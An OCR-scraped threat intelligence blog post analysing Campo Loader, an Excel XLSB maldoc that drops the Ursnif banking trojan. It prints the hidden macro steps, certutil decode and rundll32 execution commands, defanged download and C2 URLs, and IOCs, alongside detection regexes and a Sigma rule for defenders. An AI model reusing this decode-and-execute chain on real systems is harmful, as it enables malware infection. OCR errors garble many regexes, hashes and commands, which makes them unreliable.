In the eye of our CyberSOC: Campo Loader, analysis and
detection perspectives

orangecyberdefense.com/global/blog/cybersoc/in-the-eye-of-our-cybersoc-campo-loader-analysis-and-detection-
perspectives/

How to detect and analyze Campo Loader? Answers from our CyberSOC.

Campo Loader, a recent campaign

Since January 2021, our CyberSOC has noted the fairly active use of a loader(1). This
loader was quickly named “Campo Loader” on the Internet because of the rather
striking patterns in its URL, observed during network communications.

Notably used to “drop” in the second stage Ursnif/Gozi, a banking trojan, these campaigns
use several exciting techniques and remain quite easily detectable with adequate security
solutions.
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Figure 1- Campaign Summary — Source: Orange Cyberdefense

Very similar campaigns have also been observed since the summer of
2020 and documented by Morphisec in September.

It seems that this loader is still used to deliver Trickbot. However, we will note some
differences with our case in the format of the maldoc and the final load deployed.

Vector of infection: maldoc

Unsurprisingly, the first vector of infection is an e-mail containing an attachment. More
precisely, an Excel XLSB (Excel Spreadsheet-Binary) document.

This type of file is quite common for maldoc because it evades most AV (Anti-
Viral) engines. Even after several days of existence on VirusTotal (VT), files are still detected
by less than 10 AV out of 64.
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https://blog.morphisec.com/trickbot-emotet-delivery-through-word-macro

9 engines detected this file

4ff202e33d417f61df1f23b4%66bea¥ 9a659fe14es0729cd 1f42dd5a73dba035
File_B123465.xisb-

2021-01-22 09:40:29 UTC

Figure 2 — VirusTotal Detection Ratio; Source: virustotal.com

When the file is opened, it prompts the user to activate the content, making him believe that
this action will decrypt the document and display its content.

Figure 3 — Preview of the file File_812265.xIsb — Orange Cyberdefense
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https://www.virustotal.com/gui/file/4ff20ae33d417f61df1f23b4966bea79a659fe14e60729cd1f42dd5a73dba035/summary

The usual tools such as olevba/oledump or XLMMacroDeobfuscator are not satisfactory in

terms of static analysis. So we adopt another well, more manual technique:

isPC » Documents » malware » infected » File_812365 » xI » worksheets

Name

_rels

F

| ] binarylndex1.bin
| binarylndex2.bin
" binarylndex3.bin
| ] binaryIndex4.bin

] sheet1.bin
| ] sheet2.bin
| ] sheet3.bin
| | sheetd.bin

Type Date modified Size

File folder
BIN File
BIN File
BIN File
BIN File
BIN File
BIN File
BIN File
BIN File

2/3/202112:01 PM

Figure 4 — Analysis of the file File_812265.xIsb — Orange Cyberdefense

By decompressing the file, we identify a spreadsheet in binary format (BIFF12) that

1 KB
1KB
1KB
1 KB
1KB
1KB
1 KB
6 KB

looks interesting. Indeed, a first “Strings” on this file indicates a routine that seems quite

malicious:

00000670
00000705
00000741
000007EB
00000828
00000851
000008D1
0o000ChA2
00000D4F
Q0000DD7
00000E3S
00000ESS
00000EF1
00000F4D
00000FDS
00001035
000010BE
0000115E
000011FA
000012E1
00001372
00001412
0000147B
Q0001500

Unicode Strings:

LLxt
33353.txt
33393.txt,
.Xls
33393.x1s
.png
33393 .png

C:\Users\Public)

3

certutil.exe

C:\Users\Public2339%3.
C:\Users\Public\33393.
C:\Usars\Public\ 33393,
C:\Usars\Public\333593,
C:\Users\Publicl33353.

Shell32

rundll32.exe
~decode C:%\Users\Public\33353 . txt C:\Users\Public%3339%3.png2

—decods

-decodehex C:\Users\Public%\333%3.png2 C:\Users\Public\3335%3.png
ShellExecutel
—decodehex

3533393
JIJCCCCT
oper|

txt,;
xls
txt
Png
Png,

3

In

Figure 5 — Analysis of the file File_812265.xIsb — Orange Cyberdefense
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At first glance, the use of the certutil.exe binary would therefore be present to decode several
files’ contents. Then the functions and strings “Shell32”, “rundll32.exe” as well as
“ShellExecuteA” indicate that the role of this file is also to execute DOS commands or even a
DLL.

We go directly to the analysis of the document via Excel. It turns out that several Excel
sheets are hidden. By unmasking the four hidden sheets, the correspondence with the
previously displayed strings makes it possible to link the sheet4.bin file to one of

the hidden sheets.

A second sheet will prove interesting for understanding this file. Indeed, sheet 2 is in charge
of the execution of the routine via an Auto_Open.

Auto_ouvrir ~ ) =51(718,718)

1 [=s1(718,718) |
2 fThey THAt BEIEVE in ThE EverLaSTinG GOD shAlt BE IMmuNe To tHE seWER SYsTem; tHEy SHAIT DISPel eviL And ViCe

3 i:ENREGiSTRER.SOUS[Sheeﬂ!Dld, 3)

4 jFor the 10rd HATh Not GiVen uS ThE spiRIT oF WICKEDNESss, buT of AMaZIngnesS anD moRAlitY

5 |=ENREGISTRER.SOUS(Sheet3!K14)
6
7
8
9

:=FONCTTON,APPELANTE{Sheet3 1A16,Sheet3!A18,Sheet3!A20,0,Sheet3!A22,Sheet3!D14,5heet3!G16,0,0)
|tHEy THaT hOnoR thE LORD tHy goD sHalt ResToRe ThEir BeNeVOleNce; thEY ShALt DriVE AwAY dEPTAVITY
|=ATTENDRE(MAINTENANT() + "00:00:04")
|=FONCTION.APPELANTE(Sheet31A16,Sheat3lA18,Sheet31A20,0,5heet3!A22,Sheet3ID14,Sheet31617,0,0)

10 |THE IOrd HATh noT GiveN uS THe Spirlt of kNaVERy, BUT OF DiSCERNMENt and COUrAgE

11 =ATTENDRE(MAINTENANT() +"00:00:03")

12 f:REGISTRE[Sheet3!AIE,Sheeta!AIB,Shee‘tB!AZO,"iONLC",.I,B}

13 [thuS saltH THe HOIY one: OPEn YE nOt wAGonS Full of soup, BuT CANISTERs oF HaRdwarE

14 g=IONIC[9.Sheet3!A22.Sheet3!D16.Sheet3!W14,0,0}

15 Wait uPon God And THoU shALt IncrEASe tHY TWitTer foLLowersS; THOU ShAIT BE sHelTERED FrOM The CaNCer

16 :THE 10rd HATh noT GiveN uS THe Spirlt ofF kNa‘JERy, BUT OF DiSCERNMENt and COUrAge

17 |=ARRETER()

Figure 6 — Analysis of the file File_812265.xIsb — Orange Cyberdefense

However, the most interesting part is still missing. The associated Excel sheet is protected.

To bypass the protection, simply save the file in another format (e.g., Xslm). Thus binary files
will be converted to XML format. Then, removing the protection is relatively easy.

Indeed, a simple tag is responsible for this mechanism. By removing it, the protection of the
sheet is no longer effective.

Figure 7 — Protected Spreadsheet File_812265.xIsb — Orange Cyberdefense
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We then identify several cells likely containing encoded content, which will turn out to be a
PE (Portable Executable).

Recipe Input

From Base&4

MDAWMDAWMDAI
MDAWMI MDA
NjQut MD:
From Hex MDAWNDIWMDA
MDAWMDQ2MDAI

Auto

AwMDAWMDALMDA

nnot be run in DOS

Auto Bake

Figure 8 — Decoding the content File_812265.xIsb — Orange Cyberdefense
Thus, we have a good understanding of the actions of this first xslb file:

¢ Drop a. txt file containing data encoded in b64
» Decoding of the file + drop of a new hex file via the binary certutil.exe
o Decoding of the second file via certutil.exe + drop of a PE.

We then validated our first static analysis based on a dynamic analysis by running the file in
the Orange Cyberdefense sandbox:
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Analysis summary

File name:  File_612365xisb
File size: 1411 kB (141139 bytes)
Analysis status : 3
Events collected : 20618
Rulesets: [ Y

Analysis result :

username: [

Shazse: 4tz
ssdeep:
Visibility :
Analysis timeout: 530 seconds
Virtual machine : 57 Windows7SP1x64
Analysis environment:  ExcelEnvironment
Analysis target module :  File_812365 xisb
Command line arguments : -
Specific configuration : 40 oplions ¥

JobID: 8911ba30-6637-11eb-bfbd-cB1166C38e7d

Analyzed by worker:  5156216a-5045-11eb-9461-18660a5458¢ 7 blere. malware-prod.itm lan-13

P2Aversion: 090
Analysed on: 2021-02-03 at 16:50
First submission:  2021-02-03 16:33
Analysis duration : 155 (VM selup) + 580s (analysis) = 5355
User tags :

User comments

(o)

Add comment

7£614£1£2304966beaTIAE59F 014260720041 £42d45273dbA035
UtFARPULAZemMAS Az 3%QGaAD] TTTSx165LE9IM+LYt SPO00Z3JnHE  HEFA

¥sJz1nz:

EXCEL &)
Filetype Analysis OK.
39
Registry keys
writlen
Process list
£ AOC: "C:\Program Files\Microsoft
Office\Office1 5\EXCEL EXE" "C:\Use
FS\FAT\AppData\Roaming\Download
s\file_812365 xisb"
Y crearen B ACIR

£ ATC: "C:\Windows\System32\cert
util.exe” -decodehex C:\Users\Public
\W589.png2 C:\Users\Public\47589.p

ng Rl crearen JENCREE

£ A9C: "C:\Windows\System32vund
1132 exe” C:\Users\Public\47589.png.|

n ~ EEZE a O t+10s

Figure 9 — Orange Cyberdefense SandboxAnalysisFile_812265.xIsb

Three files are well dropped:
.CyberSOC - Campo Loader

C:\Users\Public\11250.txt
.CyberSOC - Campo Loader

C:\Users\Public\11250.png2
.CyberSOC - Campo Loader

C:\Users\Public\11250.png

20618 evenls

1 %

Process
dumps

Uncommon

6

We fall well on PE “packaged” (UPX was noted on some campaigns). This DLL is then
executed via rundll32.exe. It seems to be the Campo loader.

Thanks to an analysis of http/https queries, we noticed a GET query to this URL :

hxxp[://]172[.]104[.]129[.]156/campo/o/o

It redirects (307 Temporary Redirect) to :

hxxps[:/[ciudadstereo[.Jcom[.]Jec/wp-content/plugins/wp-calculated-

fields/templates/01/out[.]dIl

This DLL purpose, which we will attach to the Campo loader, is to download and execute a

second DLL.

7/13



Note that several repositories identified in similar campaigns often have open directories,
allowing to identify other malicious DLLs and get an idea about the temporality of the
attacks thanks to the Last-Modifiedfield.

&« ¢ @ @ @ hitps://ciudadsteres.com.ec/wp-content/plugins/wp-calculated-f - @

Index of /wp-content/plugins/wp-calculated-fields/templates/01

Name Last modified Size Description

Parent Directory .
app.apl.php 2020-12-13 11:44 17K
bg_top.png 2020-12-13 11:44 1.6K

c3.dll 2021-01-21 08:44 392K
config.ini 2020-12-13 11:44 166
crypt 3300.dll  2021-01-22 09:51 164K
cy3.dll 2021-01-25 09:28 283K
fig.dll 2021-02-01 08:50 360K
fufu.dll 2021-01-28 13:31 184K
mo.dll 2021-02-01 08:50 357K
out.dil 2021-01-21 03:32 95K
pict.dll 2021-01-27 13:15 259K
style.css 2020-12-13 11:44 3.8K
supll.dll 2021-01-26 10:50 512K

thumbnail jpg  2020-12-13 11:44 17K

Figure 10 — Repo Ursnif — Source: Orange Cyberdefense

Another important point related to the temporary redirection: a “campo” URL allows you to
distribute many payloads dynamically. Indeed, by analyzing several times the same sample,
we obtained a different final DLL.
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GET /campo/p/p HTTP/1.1
Accept: */¥
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/s4.8 (compatible; MSIE 7.8; Windows NT 6.2; WOWG4; Trident/7.8; .NET4.8C; .NET4.8E; InfoPath.3)
Host: 172.104.251.127
“RALIVT
Cookie: ci _session=g5tlho6s58cSuids9hj4gfgadpgSladds

HTTP/1.1 387 Temporary Redirect

Date: Thu, ©4 Feb 2021 ©9:56:42 GMT

Server: Apache/2.4.29 (Ubuntu)

Expires: Thu, 19 Nov 1981 ©8:52:80 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Location: https://sparkperform.site/js/revolution/fonts/pe-icon-7-stroke/css/11.d11
Content-Length: @

Keep-Alive: timeout=5, max=188
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-28

GET /campo/p/p HTTP/1.1

Accept: */#*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.2; WOW64; Trident/7.8; .NET4.8C; .NET4.8E; InfoPath.3)
Host 1?2 104.251.127

ep-Alive

Coak:e. ci_session=t2qbpSprbtqBidgdlilaujéuolndhSpu

HTTP/1.1 387 Temporary Redirect

Date: Thu, 84 Feb 2821 ©9:55:39 GMT

Server: Apache/2.4.29 (Ubuntu)

Expires: Thu, 19 Nov 1981 ©8:52:8@ GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: ci_session=g5tlho6sBcSuids9hjdgfqadpq518dds; expires=Thu, ©4-Feb-2021 11:55:39 GMT; Max-Age=720@; paths/;
HttpOnly

Location: https://kazokushintaku.pro/wp-content/plugins/siteguard/really-simple-captcha/gentium/11.d11

Content-Length: @

Keep-Alive: timeout=5, max=18@
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Figure 11 — Hittp traffic linked to the Campo loader — Source: Orange Cyberdefense

Without going into too much detail in this last stage analysis, the DLL corresponds to Ursnif /
Gozi, a banking Trojan. A quick sandbox analysis will allow us to identify the control servers
and thus feed our information base.

Analysls summary ‘

File name :
File san ;
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Events collectnd :
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= (ETEE) » Oesde

9/13



Figure 12 — Ursnif DLL Sandbox Analysis — Source: Orange Cyberdefense

Detection prospects

Network communications (Campo Loader)

While analyzing many campaigns, we noticed that a pattern was coming back often enough
in the URL to be used as a detection/hunting means.

Indeed, the uri path corresponds with this regex: ” AV/(?:campo)\\w{1}\\w{1}$ “.
Here are some examples of URLs we have identified:
hxxp://172.104.143[.]130/campo/t/t

hxxp://178.62.19[.]66/campo/v/v

hxxp://pipkaboss[.]xyz/campo/b/b

Some older campaigns also seem to follow this pattern:
A\/(?:campo)V[a-zA-Z0-9]{1,2}\/[a-zA-Z0-9]{1,2}$, which will also be more flexible.

Example :
hxxp://androidflash[.]Jspace/campo/DQ/s9

title: Campo Loader
status: experimental
description: Detects patterns in URL associated with Campo Loader
author: Orange Cyberdefense CyberS0OC
date: 2020/03/02
modified: 2020/03/02
logsource:

category: proxy
detection:

selection:

cs-method: '"GET'.

c-uri: "*fcampo/*'.

filter:
c-uri|re: "V(?:campo)\/[a-zA-Z0-9]{1,2\/[a-zA-Z0-9]{1,2}5'
condition: selection and filter
false-positive:
- Low
level: high

System behaviors
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The use of “certutil.exe” to decode the first charge is quite striking and generic enough to
be used as a means of detection. Moreover, this approach fits within
the Att&CKMITRE matrix, with the “T1140:Deobfuscate/Decode Files or Information”

technique.

A Sigma rule is already available on the GitHub of the same project.

This rule should be triggered by the two commands extracted from our sandbox

analysis (below). While generic enough to include most of the LOLBAS/LOLBINS (Living Off

The Land Binaries and Scripts) related to this Microsoft binary.

l».Campo Loader

Several approaches can also be taken to DLL execution via “rundll32.exe".

The first one being the detection of DLL execution passing a . png file with its extension. This
technique is more and more used and can be approached using the “T1036:
Masquerading” and “T1218.011: Signed Binary Proxy Execution: Rundll32/” techniques.

lw.Campo Loader

The last detection method could be done via the process tree. By resuming the execution of
the campaign in its entirety, we note a rather striking process tree from EXCEL.EXE:

EXCEL.EXE > rundli32.exe > rundll32.exe

I0OCs and MITRE ATT&CK references

Event/C Category Types Value Description Source TLP
Ursnif/Gozi using System Activity SHA256 4ff202e33d41761d11§23b4066bea70a650fe14e60729cd1142dd5a73dba035 File_812365.xlsb Orange TLP:WHITE
campo loader Cyberdefense
Ursnif/Gozi using System Activity SHA256 011e8e3a9940723d57137277ae19421183628693415a33d516af30268d99eae Ursnif DLL download Orange TLP:WHITE
campo loader Cyberdefense
Ursnif/Gozi using System Activity SHA256 e322c0ci1cd055db5df06e76056b437006a11be15050d6a5022d507107i00ee Campo loader Orange TLP:WHITE
campo loader Cyberdefense
Ursnif/Gozi using Network Activi URL hxxp://172[.]104].]129].]156/ /of c load Orange TLP:WHITE
campo loader etwor| vity XXP: [.]104[.]129[.] campo/c/o ampo loader Cyberdefense 2
Ursnif/Gozi using . hxxps://ciudadstereo[.Jcom[.Jec/wp-cc plugi p-calculated . Orange ’
campo loader Network Activity URL fields/templates/O1/out[.]dIl Ursnif DLL download Cyberdefense TLP-WHITE
Ursnif/Gozi using Network Activi FQDN i10[Jlaptok[ Jat €2 Ursnif/Gozi Orange TLP:WHITE
campo leader etwor ity apiifl.laptoklla renit/Gozi Cyberdefense )
Ursnif/Gozi using . . N . Orange .
campo loader Network Activity FQDN ge[.Jin100k[.]Jat C2 Ursnif/Gozi Cyberdefense TLP:WHITE
Ursnif/Gozi using Network Activi FQDN lang[.Jfeel500[ Jat €2 Ursnif/Gozi Orange TLP-WHITE
campo loader etwor| ivity gelang[.Jfeel []ai renif/Gozi Cyberdefense -
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https://orangecyberdefense.com/fr/insights/blog/threat_management/test-mitre-attck/
https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_certutil_command.yml

Initial Access Execution Persistence S Defense Evasion | Credential Access Discover ry Lateral Movement | Collection % Exfiltration Impact
- . I
Spearphishing Obiect] o qistry Run Keys — : Man in the c Useq | Exfiltretion Over
prr— Maodel and P de Files or Process Discovery P— o Command and
Distributed COM Information Control Channel
Standard

E tion th gh - N P

e ':’;I s Masquerading Query Reqistry Screen Capture | Application Laver

A8l Protocol
Svst
Execution through Obfuscated Files Sustem
; Information
Module Load of Information ‘
Discovery
Rundliz2 Process Hollowing
Sianed Binary o
! Process Injection
Proy Execution
User Execution Rundli32
Sianed Binary
Proxy Execution

Source: Orange Cyberdefense
To download the I0OCs and the MITRE ATT&CK references, click here.
To discover our SOC and CyberSOC offers, click here.

(1) Loader: A loader is a malware program responsible for executing a malicious load on the
target system. This second load can be remote (accessible from an IP/URL) or directly
included in the loader. The purpose of a loader is to propose methods for evading and

targeting users (encryption, memory injection, anti-vm, anti-sandbox, geographical analysis,
system profiling, etc.).

Learn more

More articles
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https://orangecyberdefense.com/fileadmin/general/News/MITRE_Attck_and_IOCs_for_references.xlsx
https://orangecyberdefense.com/global/blog/managed-detection-response/mdr-services-all-you-need-to-know
https://orangecyberdefense.com/global/all-services/detect-respond
https://orangecyberdefense.com/global/blog/career/becoming-the-best-at-detecting-threats

Becoming_the best at detecting_threats
15 October 2020

o Career
o Detect & Respond
o Career
e Detect & Respond
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